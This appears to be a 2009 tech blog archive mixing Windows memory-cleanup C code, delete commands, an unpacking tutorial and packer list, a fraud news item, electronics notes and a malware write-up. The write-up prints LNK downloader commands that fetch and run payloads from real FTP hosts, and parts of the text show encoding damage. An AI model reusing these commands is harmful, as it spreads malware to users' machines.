Monday, March 30, 2009

cleanMem

#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include "psapi.h"

#pragma comment(lib, "psapi.lib")

void PrintProcessNameAndID( DWORD processID )
{
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

    // Get a handle to the process.
    // must set access right: PROCESS_ALL_ACCESS
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS
        /*| PROCESS_QUERY_INFORMATION | PROCESS_VM_READ */,
                                   FALSE, processID );

    // Get the process name.

    if (NULL != hProcess )
    {
        HMODULE hMod;
        DWORD cbNeeded;

        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod),
             &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName,
                               sizeof(szProcessName)/sizeof(TCHAR) );
        }
    }

    // Print the process name and identifier.

    _tprintf( TEXT("%s  (PID: %u)\n"), szProcessName, processID );

    EmptyWorkingSet( hProcess );

    CloseHandle( hProcess );
}

void main( )
{
    // Get the list of process identifiers.

    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;

    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
        return;

    // Calculate how many process identifiers were returned.

    cProcesses = cbNeeded / sizeof(DWORD);

    // Print the name and process identifier for each process.

    for ( i = 0; i < cProcesses; i++ )
        if( aProcesses[i] != 0 )
            PrintProcessNameAndID( aProcesses[i] );
}

Saturday, March 28, 2009

cleanMem

#A quick note on the API call itself. This is the same API used by Microsoft in its empty.exe in the Windows 2003 Resource kit. This is also the same api that all .Net programs use by default when you minimize them and their memory lowers. So now instead of being just for .Net, Cleanmem lets you use it on all your programs.

#

http://msdn.microsoft.com/en-us/library/ms682606(VS.85).aspx
EmptyWorkingSet Function
Removes as many pages as possible from the working set of the specified process.

http://msdn.microsoft.com/en-us/library/ms686234(VS.85).aspx
SetProcessWorkingSetSize Function
Sets the minimum and maximum working set sizes for the specified process.

SetProcessWorkingSetSize does force memory to the page file because it limits how much memory the process can have.
EmptyWorkingSet is a cleanup api from Microsoft that doesn’t limit anything it simply removed the unused.

EmptyWorkingSet Function

Removes as many pages as possible from the working set of the specified process.

Syntax

C++

BOOL WINAPI EmptyWorkingSet(
__in HANDLE hProcess
);


Parameters

hProcess [in]

A handle to the process. The handle must have the PROCESS_QUERY_INFORMATION and PROCESS_SET_INFORMATION access rights. For more information, see Process Security and Access Rights.




Return Value


If the function succeeds, the return value is nonzero.



If the function fails, the return value is zero. To get extended error information, call GetLastError.



#Enumerating All Processes



http://msdn.microsoft.com/en-us/library/ms682623(VS.85).aspx



#…



HANDLE hProcess = OpenProcess(  PROCESS_ALL_ACCESS ,

                               FALSE, processID );



# …

deltree in xp

deltree in xp

http://www.raymond.cc/blog/archives/2007/09/24/deltree-command-replacement-in-windows-2000-or-windows-xp/

http://blog.vivekjishtu.com/2006/02/deltree-in-windows-xp.html

del /s /q %1
rd /s /q %1

Saturday, March 21, 2009

網購騙徒大挪移 買家賣家都被削

網購騙徒大挪移 買家賣家都被削
更新日期:2009/03/22 03:22

網購詐騙又出現新手法!歹徒以「移花接木」方式,利用網路買賣的高低價差,設計讓買家付了款卻拿不到貨,還讓賣家在不知情下成為詐欺集團的人頭帳戶,買賣雙方皆成受害者。
根據統計,類似「網路拍賣未收到貨」的案例,從一月至今,警方已至少受理一千五百件報案,增加的速度僅次於「購物個資外洩」,呼籲民眾要防範。
警方表示,歹徒「移花接木」的新手法,是先在網路上張貼販賣高價貨物的廣告,誘騙甲方買家上當後,再向乙方的賣家假稱要購買低價貨品,要甲方將貨款匯給乙方,再向乙方表示匯錯金額,要求在「面交」時,一併退還差額。
歹徒取貨拿錢走人後,原先匯款的甲方遲遲等不到貨,發現上當後報警,警方將乙方的帳戶列為警示凍結,並循線找上門,乙方才知道被歹徒利用,成為取款的「人頭」。
警方表示,目前已知有兩組網購的被害買、賣家,第一組的甲方是向歹徒購買一萬七千元的手機,歹徒則向乙方買一萬元的皮夾;第二組的甲方則是向歹徒買七千五百元的手機,歹徒則向乙方買五百元的布娃娃,兩起買賣歹徒都「正好」獲利七千元。

Friday, March 20, 2009

kkrunchy esp定律

UnKK 1.0 - Unpacker for kkrunchy 0.23a2 +src

http://letitbit.net/download/a04cb3680016/unkk.zip.html

http://reversengineering.wordpress.com/2008/08/02/unkk-10-unpacker-for-kkrunchy-023a2-src/

http://reversengineering.wordpress.com/category/tools/unpackers/

#

http://www.farbrausch.de/~fg/kkrunchy/

kkrunchy is a small exe packer primarily meant for 64k intros

#

GUnPacker.V0.4 generick unpacker & helper
ACProtect 1.09、1.32、1.41、2.0
AHPack 0.1
ASPack 102b、105b、1061、107b、1082、1083、1084、2000、2001、21、211c、211d、211r、212、212b212r
ASProtect 1.1,1.2,1.23RC1,1.33,1.35,1.40,SKE.2.11,SKE.2.1,SKE.2.2,2.3.04.26,2.4.09.11
Alloy 4.1、4.3
alexprot 1.0b2
Beria 0.07
Bero 1
BJFNT 1.2、1.3
Cexe 10a、10b
DragonArmor 1
DBpe 2.33
EPPort 0.3
eXe32Pack 1.42
EXECrypt 1
eXeStealth 2.75a、2.76、2.64、2.73、2.76、3.16(支持,但效果不是很好)
ExeSax 0.9.1(支持,但效果不是很好)
eXPressor 1.4.5.1、1.3(支持,但效果不是很好)
FengYue’Dll unknow
FSG 1.33、2.0、fsg2.0bart、fsg2.0dulek
GHF Protector v1.0(支持,但效果不是很好)
Krypton 0.2、0.3、0.4、0.5(For ALL 支持,但效果不是很好)
Hmimys Packer UnKown
JDProtect 0.9、1.01、2.0
KByS unknow
MaskPE 1.6、1.7、2.0
MEW 11 1.0/1.2、mew10、mew11_1.2、mew11_1.2_2、mew5
molebox 2.61、2.65
morphine 2.7(支持,但效果不是很好)
MKFpack 1
Mpress UnKown
Mucki 1
neolite 2
NCPH 1
nsapck 2.3、2.4、3.1
Obsidium 1.0.0.69、1.1.1.4(For ALL 支持,但效果不是很好)
Packman UnKown
PCShrink 0.71
PC-Guard v5.0、4.06c
PE Cryptor 1.5
PEBundle 2.3、2.44、3.0、3.2
PE-Armor 0.46、0.49、0.75、0.765
PECompact 1.x
PEDiminisher 0.1
PELock 1.06
PEncrypt 4
pepack 0.99、1.0
PELockNt 2.01、2.03、2.04
PEtite 1.2、1.3、1.4、2.2、2.3
PKlite32 1.1
PolyCryptA UnKown
peshield 0.2b2(支持,但效果不是很好)
PESpin 0.3(支持,但效果不是很好)、0.7、1.1、1.3
PEX 0.99
PolyCrypt PE 1.42
PUNiSHER 1.5(支持,但效果不是很好)
RLPack 1.1、1.6、1.7、1.8
Rubbish 2
ShrinkWrap 1.4
SDProtector 1.12、1.16
SLVc0deprotector 0.61(支持,但效果不是很好)、1.12
SimplePack 1.0、1.1、1.2
SoftSentry 3.0(支持,但效果不是很好)
Stealth PE 1.01、2.1
Stone’s PE Encryptor 1.13
SVKP 1.11、1.32、1.43
ThemidaDemo 1.0.0.5
teLock 0.42、0.51、0.60、0.70、0.71、0.80、0.85、0.90、0.92、0.95、0.96、0.98、0.99
Upc All
Upack “0.1、0.11、0.12、0.20、0.21、0.22、0.23、0.24、0.25、0.26、0.27、0.29、
0.30、0.31、0.32、0.33、0.34、0.35、0.36、0.37、0.38、0.39、0.399″
UPolyX 0.2、0.5
UPX “0.51、0.60、0.61、0.62、0.71、0.72、0.80、0.81、0.82、0.83、0.84、0.896、
1.0w、1.03、1.04、1.25w、2.0w、2.02、2.03、3.03、UPX-Scrambler RC1.x”
V2Packer 0.02
VisualProtect 2.57
Vprotector 1.2
WindCrypt 1.0
wwpack32 v1.20、v1.11、v1.12
WinKript 1
yoda’s cryptor v1.1、v1.2
YZPACK 2.0
yoda’s Protector v1.02、v1.03.2、v1.03.3、v1.0b

original & unpacked:BY PAVKA
http://letitbit.net/download/e26a01440450/GUnPacker.V0.4.By.rar.html

#

ESP定律【轉自飄雲閣】

18 Sep, 2008  軟體安全

ESP定律【實用+重要】

1.前言
在教程中經常看到ESP定律,現在我就來告訴大家什麼是ESP定律,它的原理是什

麼!!(太有用了◎)

BTW:在看完了手動脫殼入門十八篇了以後,再看這篇文章也許會對你更有幫助!

2.準備知識 在我們開始討論ESP定律之前,我先給你講解一下一些簡單的彙編知識。
  1.call
這個命令是訪問副程式的一個彙編基本指令。也許你說,這個我早就知道了!別急請繼續看完。
  call真正的意義是什麼呢?我們可以這樣來理解:1.向堆疊中壓入下一行程式的位址;2.JMP到call的副程式位址處。例如:

00401029    .  E8 DA240A00    call 004A3508
0040102E    .  5A             pop edx
在執行了00401029以後,程式會將0040102E壓入堆疊,然後JMP到004A3508位址處!
  2.RET
與call對應的就是RET了。對於RET我們可以這樣來理解:1.將當前的ESP中指向的地址出棧;2.JMP到這個位址。
這個就完成了一次調用副程式的過程。在這裏關鍵的地方是:如果我們要返回父程式,則當我們在堆疊中進行堆疊的操作的時候,一定要保證在RET這條指令之前,ESP指向的是我們壓入棧中的地址。這也就是著名的“堆疊平衡”原理!

3.狹義ESP定律
  ESP定律的原理就是“堆疊平衡”原理。
讓我們來到程式的入口處看看吧!
  1.這個是加了UPX殼的入口時各個寄存器的值!
EAX 00000000
ECX 0012FFB0
EDX 7FFE0304
EBX 7FFDF000
ESP 0012FFC4
EBP 0012FFF0
ESI 77F51778 ntdll.77F51778
EDI 77F517E6 ntdll.77F517E6
EIP 0040EC90 note-upx.<ModuleEntryPoint>
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_MOD_NOT_FOUND (0000007E)

  2.這個是UPX殼JMP到OEP後的寄存器的值!
EAX 00000000
ECX 0012FFB0
EDX 7FFE0304
EBX 7FFDF000
ESP 0012FFC4
EBP 0012FFF0
ESI 77F51778 ntdll.77F51778
EDI 77F517E6 ntdll.77F517E6
EIP 004010CC note-upx.004010CC
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_MOD_NOT_FOUND (0000007E)

呵呵~是不是除了EIP不同以外,其他都一模一樣啊!

為什麼會這樣呢?
我們來看看UPX的殼的第一行:

0040EC90 n>  60               pushad      //****注意這裏*****
0040EC91     BE 15B04000      mov esi,note-upx.0040B015
PUSHAD就是把所有寄存器壓棧!我們在到殼的最後看看:

0040EE0F     61               popad      //****注意這裏*****
0040EE10   - E9 B722FFFF      jmp note-upx.004010CC   //JMP到OEP

POP就是將所有寄存器出棧!

而當我們PUSHAD的時候,ESP將寄存器壓入了0012FFC0–0012FFA4的堆疊中!如下:

0012FFA4   77F517E6  返回到 ntdll.77F517E6 來自 ntdll.77F78C4E           //EDI
0012FFA8   77F51778  返回到 ntdll.77F51778 來自 ntdll.77F517B5          //ESI
0012FFAC   0012FFF0                                                    //EBP
0012FFB0   0012FFC4                                                   //ESP
0012FFB4   7FFDF000                                                  //EBX
0012FFB8   7FFE0304                                                 //EDX
0012FFBC   0012FFB0                                                //ECX
0012FFC0   00000000                                               //EAX

所以這個時候,在教程上面就告訴我們對ESP的0012FFA4下硬體訪問中斷點。也就是說當程式要訪問這些堆疊,從而恢復原來寄存器的值,準備跳向苦苦尋覓的OEP的時候,OD幫助我們中斷下來。

於是我們停在0040EE10這一行!
總結:我們可以把殼假設為一個子程式,當殼把代碼解壓前和解壓後,他必須要做的是遵循堆疊平衡的原理,讓ESP執行到OEP的時候,使ESP=0012FFC4。

4.廣義ESP定律

很多人看完了教程就會問:ESP定律是不是就是0012FFA4,ESP定律的適用範圍是不是只能是壓縮殼!
我的回答是:NO!

看完了上面你就知道你如果用0012FFA8也是可以的,ESP定律不僅用於壓縮殼他也可以用於加密殼!!!

首先,告訴你一條經驗也是事實—當PE檔運行開始的時候,也就是進入殼的第一行代碼的時候。寄存器的值總是上面的那些值,不信你自己去試試!而當到達OEP後,絕大多的程式都第一句都是壓棧!(除了BC編寫的程式,BC一般是在下面幾句壓棧)

現在,根據上面的ESP原理,我們知道多數殼在運行到OEP的時候ESP=0012FFC4。這就是說程式的第一句是對0012FFC0進行寫入操作!
最後我們得到了廣義的ESP定律,對只要在0012FFC0下,硬體寫入中斷點,我們就能停在OEP的第二句處!!

下面我們來舉個例子,就脫殼進階第一篇吧!

載入OD後,來到這裏:

0040D042 N>  B8 00D04000      mov eax,Notepad.0040D000 //停在這裏
0040D047     68 4C584000      push Notepad.0040584C
0040D04C     64:FF35 00000000 push dword ptr fs:[0]    //第一次硬體中斷,F9
0040D053     64:8925 00000000 mov dword ptr fs:[0],esp
0040D05A     66:9C            pushfw
0040D05C     60               pushad
0040D05D     50               push eax

直接對0012FFC0下硬體寫入中斷點,F9運行。(注意硬體中斷)

在0040D04C第一次硬體中斷,F9繼續!

0040D135     A4               movs byte ptr es:[edi],byte ptr ds:[esi] //訪問異常,不管他 shift+F9繼續
0040D136     33C9             xor ecx,ecx
0040D138     83FB 00          cmp ebx,0
0040D13B   ^ 7E A4            jle short Notepad.0040D0E1

第二次硬體中斷。

004058B5       64             db 64                                 //斷在這裏
004058B6       89             db 89
004058B7       1D             db 1D
004058B8       00             db 00
004058B9       00             db 00

這裏也不是,F9繼續!

004010CC   /.  55             push ebp
004010CD   |.  8BEC           mov ebp,esp  //斷在這裏,哈哈,到了!(如果發現有花指令,用ctrl+A分析一下就能顯示出來)
004010CF   |.  83EC 44        sub esp,44
004010D2   |.  56             push esi

快吧!還不過癮,在來一個例子。

脫殼進階第二篇

如果按上面的方法斷不下來,程式直接運行了!沒什麼,我們在用另一種方法!
載入後停在這裏,用插件把OD隱藏!

0040DBD6 N>^\E9 25E4FFFF      jmp Note_tEl.0040C000                  //停在這裏
0040DBDB     0000             add byte ptr ds:[eax],al
0040DBDD     0038             add byte ptr ds:[eax],bh
0040DBDF     A4               movs byte ptr es:[edi],byte ptr ds:[esi]
0040DBE0     54               push esp

   F9運行,然後用SHIFT+F9跳過異常來到這裏:

0040D817   ^\73 DC            jnb short Note_tEl.0040D7F5       //到這裏
0040D819     CD20 64678F06    vxdcall 68F6764
0040D81F     0000             add byte ptr ds:[eax],al
0040D821     58               pop eax

在這裏對0012FFC0下硬體寫入中斷點!(命令行裏鍵入HW 12FFC0)SHIFT+F9跳過異常,就來到OEP的第二行處:(用CTRL+A分析一下)

004010CC   /.  55             push ebp
004010CD   |.  8BEC           mov ebp,esp                       //斷在這裏
004010CF   |.  83EC 44        sub esp,44
004010D2   |.  56             push esi
004010D3   |.  FF15 E4634000  call dword ptr ds:[4063E4]
004010D9   |.  8BF0           mov esi,eax
004010DB   |.  8A00           mov al,byte ptr ds:[eax]
004010DD   |.  3C 22          cmp al,22

就這樣我們輕鬆搞定了兩個加密殼的找OEP問題!

5.總結

現在我們可以輕鬆的回答一些問題了。
  1.ESP定律的原理是什麼?

堆疊平衡原理。
  2.ESP定律的適用範圍是什麼?

幾乎全部的壓縮殼,部分加密殼。只要是在JMP到OEP後,ESP=0012FFC4的殼,理論上我們都可以使用。但是在何時下中斷點避開校驗,何時下斷OD才能斷下來,這還需要多多總結和多多積累。歡迎你將你的經驗和我們分享。

  3.是不是只能下斷12FFA4的訪問中斷點?

當然不是,那只是ESP定律的一個體現,我們運用的是ESP定律的原理,而不應該是他的具體數值,不能說12FFA4,或者12FFC0就是ESP定律,他們只是ESP定律的一個應用罷了!

  4.對於STOLEN CODE我們怎麼辦?

哈哈,這正是尋找STOLEN CODE最好的辦法!當我們斷下時,正好斷在了殼處理STOLEN CODE的地方,在F8一會就到OEP了!

 文章標籤>> ESP定律

#

Saturday, March 14, 2009

LNK_EVIDAD.A

近來在電子郵件中頗為流行的 Windows捷徑惡意下載程式 (Windows Shortcut Script Downloader),跟 .scr、.cmd 惡意程式類似,常見以 .lnk 格式夾帶於郵件附件檔中,欺騙使用者下載後點選執行。

使用者執行後,LNK 惡意程式會以 ftp 連結至惡意程式下載站下載並執行多個程式來完成整個惡意程式植入流程,常見會下載 *.vbs、*.bat、*.exe 等程式。下載指令範例如下:

%windir%system32cmd.exe /c echo ftp -s:x.r > wsx.bat&echo lin.exe >> wsx.bat&echo del</STATE /></PLACE /> x.r >> wsx.bat&echo open 202.153.172.34 > x.r&echo yak01>>x.r&echo as1213>>x.r&echo recv lin.exe >> x.r&echo bye >> x.r&wsx.bat&

 

LNK_EVIDAD.A

%windir%\system32\cmd.exe /c

echo set bf=f > hw.bat
echo %bf%ftp -s:qat.d >> hw.bat
echo c.exe >> hw.bat
echo del qat.d >> hw.bat
echo open www.as08.com > qat.d
echo as08 >> qat.d
echo recv c.exe >> qat.d
echo bye >> qat.d
hw.bat

system32\shimgvw.dll
www.as08.com 202.153.172.34

%windir%\system32\cmd.exe /c

echo o web.g03z.com> l
echo aa33 >> l
echo bb33 >> l
echo set s=echo ge> s.bat
echo set f=t >>s .bat
echo %s%t pnf pnf.vbs^>^>l>>s.bat
echo bye ^>^>l>>s.bat
echo f%f%p -s:l>>s.bat
call s.bat
start pnf.vbs
del l s.bat

web.g03z.com 202.153.172.67

執行後會最小化視窗,並使用小字型:大部份的 LNK 惡意程式都會在執行後最小化執行視窗,同時將視窗內文字設為小字型來逃避使用者的注意。(圖六)

ad da

1. AD轉換器的分類
下面簡要介紹常用的幾種類型的基本原理及特點:積分型、逐次逼近型、並行比較型/串並行型、Σ-Δ調製型、電容陣列逐次比較型及壓頻變換型。
    1)積分型(如TLC7135)
積分型AD工作原理是將輸入電壓轉換成時間(脈衝寬度信號)或頻率(脈衝頻率),然後由計時器/計數器獲得數字值。其優點是用簡單電路就能獲得高解析度,但缺點是由於轉換精度依賴於積分時間,因此轉換速率極低。初期的單片AD轉換器大多採用積分型,現在逐次比較型已逐步成為主流。
    2)逐次比較型(如TLC0831)
逐次比較型AD由一個比較器和DA轉換器通過逐次比較邏輯構成,從MSB開始,順序地對每一位元將輸入電壓與內置DA轉換器輸出進行比較,經n次比較而輸出數位值。其電路規模屬於中等。其優點是速度較高、功耗低,在低分辨率(<12位)時價格便宜,但高精度(>12位)時價格很高。
    3)並行比較型/串並行比較型(如TLC5510)
並行比較型AD採用多個比較器,僅作一次比較而實行轉換,又稱FLash(快速)型。由於轉換速率極高,n位元的轉換需要2n-1個比較器,因此電路規模也極大,價格也高,只適用於視頻AD轉換器等速度特別高的領域。
串並行比較型AD結構上介於並行型和逐次比較型之間,最典型的是由2個n/2位的並行型AD轉換器配合DA轉換器組成,用兩次比較實行轉換,所以稱為 Half flash(半快速)型。還有分成三步或多步實現AD轉換的叫做分級(Multistep/Subrangling)型AD,而從轉換時序角度又可稱為流水線(Pipelined)型AD,現代的分級型AD中還加入了對多次轉換結果作數位運算而修正特性等功能。這類AD速度比逐次比較型高,電路規模比並行型小。
    4)Σ-Δ(Sigma?/FONT>delta)調製型(如AD7705)
    Σ-Δ型AD由積分器、比較器、1位元DA轉換器和數位濾波器等組成。原理上近似於積分型,將輸入電壓轉換成時間(脈衝寬度)信號,用數位濾波器處理後得到數位值。電路的數位部分基本上容易單片化,因此容易做到高解析度。主要用於音頻和測量。
    5)電容陣列逐次比較型
電容陣列逐次比較型AD在內置DA轉換器中採用電容矩陣方式,也可稱為電荷再分配型。一般的電阻陣列DA轉換器中多數電阻的值必須一致,在單晶片上生成高精度的電阻並不容易。如果用電容陣列取代電阻陣列,可以用低廉成本製成高精度單片AD轉換器。最近的逐次比較型AD轉換器大多為電容陣列式的。
    6)壓頻變換型(如AD650)
壓頻變換型(Voltage-Frequency Converter)是通過間接轉換方式實現模數轉換的。其原理是首先將輸入的類比信號轉換成頻率,然後用計數器將頻率轉換成數位量。從理論上講這種AD 的解析度幾乎可以無限增加,只要採樣的時間能夠滿足輸出頻率解析度要求的累積脈衝個數的寬度。其優點是分辨率高、功耗低、價格低,但是需要外部計數電路共同完成AD轉換。
2. AD轉換器的主要技術指標
    1)分辨率(Resolution) 指數字量變化一個最小量時類比信號的變化量,定義為滿刻度與2n的比值。分辨率又稱精度,通常以數位信號的位元數來表示。
    2)轉換速率(Conversion Rate)是指完成一次從類比轉換到數位的AD轉換所需的時間的倒數。積分型AD的轉換時間是毫秒級屬低速AD,逐次比較型AD是微秒級屬中速AD,全並行/串並行型AD可達到納秒級。採樣時間則是另外一個概念,是指兩次轉換的間隔。為了保證轉換的正確完成,採樣速率(Sample Rate)必須小於或等於轉換速率。因此有人習慣上將轉換速率在數值上等同於採樣速率也是可以接受的。常用單位是ksps和Msps,表示每秒採樣千/百萬次(kilo / Million Samples per Second)。
    3)量化誤差(Quantizing Error) 由於AD的有限分辨率而引起的誤差,即有限分辨率AD的階梯狀轉移特性曲線與無限分辨率AD(理想AD)的轉移特性曲線(直線)之間的最大偏差。通常是1 個或半個最小數位量的類比變化量,表示為1LSB、1/2LSB。
    4)偏移誤差(Offset Error) 輸入信號為零時輸出信號不為零的值,可外接電位器調至最小。
    5)滿刻度誤差(Full Scale Error) 滿度輸出時對應的輸入信號與理想輸入信號值之差。
    6)線性度(Linearity) 實際轉換器的轉移函數與理想直線的最大偏移,不包括以上三種誤差。
其他指標還有:絕對精度(Absolute Accuracy) ,相對精度(Relative Accuracy),微分非線性,單調性和無錯碼,總諧波失真(Total Harmonic Distotortion縮寫THD)和積分非線性。
3. DA轉換器
DA轉換器的內部電路構成無太大差異,一般按輸出是電流還是電壓、能否作乘法運算等進行分類。大多數DA轉換器由電阻陣列和n個電流開關(或電壓開關)構成。按數位輸入值切換開關,產生比例於輸入的電流(或電壓)。此外,也有為了改善精度而把恒流源放入器件內部的。一般說來,由於電流開關的切換誤差小,大多採用電流開關型電路,電流開關型電路如果直接輸出生成的電流,則為電流輸出型DA轉換器,如果經電流椀繆棺緩笫涑觶蛭繆故涑魴? /FONT>DA轉換器。此外,電壓開關型電路為直接輸出電壓型DA轉換器。
    1)電壓輸出型(如TLC5620)
電壓輸出型DA轉換器雖有直接從電阻陣列輸出電壓的,但一般採用內置輸出放大器以低阻抗輸出。直接輸出電壓的器件僅用於高阻抗負載,由於無輸出放大器部分的延遲,故常作為高速DA轉換器使用。
    2)電流輸出型(如THS5661A)
電流輸出型DA轉換器很少直接利用電流輸出,大多外接電流—電壓轉換電路得到電壓輸出,後者有兩種方法:一是只在輸出引腳上接負載電阻而進行電流—電壓轉換,二是外接運算放大器。用負載電阻進行電流—電壓轉換的方法,雖可在電流輸出引腳上出現電壓,但必須在規定的輸出電壓範圍內使用,而且由於輸出阻抗高,所以一般外接運算放大器使用。此外,大部分CMOS DA轉換器當輸出電壓不為零時不能正確動作,所以必須外接運算放大器。
當外接運算放大器進行電流電壓轉換時,則電路構成基本上與內置放大器的電壓輸出型相同,這時由於在DA轉換器的電流建立時間上加入了達算放入器的延遲,使回應變慢。此外,這種電路中運算放大器因輸出引腳的內部電容而容易起振,有時必須作相位補償。
    3)乘算型(如AD7533)
DA轉換器中有使用恒定基準電壓的,也有在基準電壓輸入上加交流信號的,後者由於能得到數位輸入和基準電壓輸入相乘的結果而輸出,因而稱為乘算型DA轉換器。乘算型DA轉換器一般不僅可以進行乘法運算,而且可以作為使輸入信號數位化地衰減的衰減器及對輸入信號進行調製的調製器使用。
    4)一位DA轉換器
一位元DA轉換器與前述轉換方式全然不同,它將數位值轉換為脈衝寬度調製或頻率調製的輸出,然後用數位濾波器作平均化而得到一般的電壓輸出(又稱位元流方式),用於音頻等場合。
4. DA轉換器的主要技術指標:
    1)分辨率(Resolution) 指最小類比輸出量(對應數位量僅最低位元為‘1’)與最大量
(對應數字量所有有效位元為‘1’)之比。
    2)建立時間(Setting Time) 是將一個數位量轉換為穩定類比信號所需的時間,也可以認為是轉換時間。DA中常用建立時間來描述其速度,而不是AD中常用的轉換速率。一般地,電流輸出 DA建立時間較短,電壓輸出DA則較長。
其他指標還有線性度(Linearity),轉換精度,溫度係數/漂移。

Monday, March 09, 2009

delete drive letter(unmount)(xp)

delete drive letter(unmount)(xp)

mountvol x:\ /D